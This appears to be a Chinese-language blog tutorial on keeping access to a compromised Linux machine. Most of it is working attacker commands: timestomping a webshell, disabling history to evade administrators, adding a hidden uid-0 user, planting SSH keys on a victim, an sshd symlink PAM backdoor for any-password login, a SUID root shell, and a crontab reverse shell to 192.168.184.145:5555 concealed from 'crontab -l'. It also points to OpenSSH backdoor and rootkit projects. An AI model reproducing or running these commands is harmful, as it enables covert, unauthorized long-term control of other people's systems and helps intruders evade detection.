Linux 权限维持常见方法

前言

正文

隐藏文件

Windows一样,Linux 也有隐藏文件的形式.其特点是文件以.开头,比如创建一个隐藏文件.

touch .index.php

显示隐藏文件,使用ls -a选项就可以了.

隐藏文件属性

我们知道在Linux系统下,文件是拥有修改时间等记录的,如果我们直接创建一个后门文件,管理员很容易通过文件属性判断文件是否被修改.所以我们需要对文件的属性进行部分修改

# 使用 touch 命令
touch webshell.php -r index.php
# 指定webshell 的文件时间属性和 index.php 的文件时间属性相同

禁止修改权限

# 不得任意更动文件或目录。
chattr +i /etc/passwd

# 查看文件属性
lsattr /etc/passwd

History 隐藏

当我们登录系统后,执行的所有命令都会被系统记载,我们可以使用以下命令关闭历史命令的记录.

# 禁用历史命令
[space] set +o history
# [space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录。

# 开启历史命令
[space] set -o history

添加用户

# 创建一个用户名guest,密码123456的普通用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest

# useradd -p 方法  ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
useradd -p "$(openssl passwd -1 123456)" guest

# chpasswd方法
useradd guest;echo 'guest:123456'|chpasswd

# echo -e方法
useradd test;echo -e "123456\n123456\n" |passwd test
# 添加root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test

SSH 免密登录

# 生成密钥
ssh-keygen -t rsa

# 将生成的 id_rsa.pub 追加到 受害机器的 .ssh/authorized_keys
# 这里我先将 沈城的id_rsa.pub 上传到目标机器,然后 使用 cat id_rda.pub >> authorized_keys 将其追加到 ~/.ssh/authorized_keys 文件.

# 之后就可以直接使用 ssh 命令登陆了
ssh username@ipaddress

image-20220731174428686

image-20220731174558594

image-20220731174823917

ssh 软连接后门

原理:

在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0即root权限即可成功认证登陆。通过软连接的方式,实质上PAM认证是通过软连接的文件名 /tmp/su/etc/pam.d/目录下寻找对应的PAM配置文件(如: /etc/pam.d/su),任意密码登陆的核心是auth sufficient pam_rootok.so,所以只要PAM配置文件中包含此配置即可SSH任意密码登陆,除了su中之外还有chsh、chfn同样可以

pam_rootok.so模块

pam_rootok.so主要作用是使得uid为0的用户,即root用户可以直接通过认证而不需要输入密码。

我们查看/etc/pam.d/su 文件中,我们可以看到使用了该模块,这也是为什么root用户切换至普通用户不需要密码的原因。

1.PAM认证机制,若sshd服务中开启了PAM认证机制(默认开启),当程序执行时,PAM模块则会搜寻PAM相关设定文件,设定文件一般是在/etc/pam.d/。若关闭则会验证密码,无法建立软链接后门。

2.当我们通过特定的端口连接ssh后,应用在启动过程中就会去找到配置文件,如:我们的软链接文件为/tmp/su,那么应用就会找/etc/pam.d/su作为配置文件,那么则实现了无密登录。

参考: https://cloud.tencent.com/developer/article/1873595

实验:

在使用之前,需要检查 UsePAM 是否启用,默认启用.

image-20220731182718820

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=11111
# 你可以将 12345 换成任意指定的端口号

只测试成功了root用户下执行后门命令,然后通过其他普通用户任用密码登录

suid 后门

我们都知道 suid 用户提权,

相反,为了避免动静太大,在我们获取到root账户后,创建一个普通用户,并设置一个suid 的shell,到时候直接利用普通用户登录也能拥有root 权限

cp /bin/bash /tmp/shell
chmod u+s /tmp/shell

使用:

#主要bash2 针对suid有一些防护,所以需要加上-p参数来获取一个root的shell。
./.shell -p

注:

  1. SUID 权限仅仅只对二进制程序有效
  2. 执行者必须对这个程序有可执行的权限

crontab 定时任务

定时任务执个脚本:

普通的定时任务会通过 crontab -l 查看.

1.sh:

#!/bin/bash
bash -i >& /dev/tcp/192.168.184.145/5555 0>&1

2.sh:

(crontab -l;printf "*/1 * * * * /root/1.sh;\rno crontab for `whoami`%100c\n")|crontab -

运行 2.sh 建立crontab隐藏后门.

openssh 后门

# Ubuntu
sudo apt-get install openssl
sudo apt-get install libssl-dev
sudo apt install zlib1g-dev
sudo apt install gcc
## 简化为一行
sudo apt install openssl libssl-dev zlib1g-dev gcc -y


# RedHat、centos
yum install -y openssl openssl-devel pam-devel
yum install zlib-devel
yum install gcc
## 简化为一行
yum install -y openssl openssl-devel pam-devel zlib-devel zlib-devel

# 安装及编译
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

Ubuntu 复现失败….

centos http://hone.cool/2018/03/22/OpenSSH%E5%90%8E%E9%97%A8%E7%9A%84%E5%AE%89%E8%A3%85/

rootkit 后门

什么是rootkit

Rootkit是一组计算机软件的合集,通常是恶意的,它的目的是在非授权的情况下维持系统最高权限(在Unix、Linux下为root,在Windows下为Administrator)来访问计算机。与病毒或者木马不同的是,Rootkit试图通过隐藏自己来防止被发现,以到达长期利用受害主机的目的。Rootkit和病毒或者木马一样,都会对Linux系统安全产生极大的威胁。

来源: https://developer.aliyun.com/article/718970

Rootkit 的目的在于隐藏自己以及不被其他软件发现。它可以通过阻止用户识别和删除攻击者的软件来达到这个目的。Rootkit 几乎可以隐藏任何软件,包括文件服务器、键盘记录器、Botnet 和 Remailer。许多 Rootkit 甚至可以隐藏大型的文件集合并允许攻击者在您的计算机上保存许多文件,而您无法看到这些文件。

来源: https://baike.baidu.com/item/rootkit/6356777

这里在GitHub上找到一个rootkit项目:https://github.com/f0rb1dd3n/Reptile

但是并没有测试成功,有兴趣的师傅可以参考下面两篇文章去试试:

https://zdy.github.io/2020/03/19/5/#toc-heading-1

https://www.3hack.com/tools/85.html

参考

https://www.cnblogs.com/R1card0/articles/13157765.html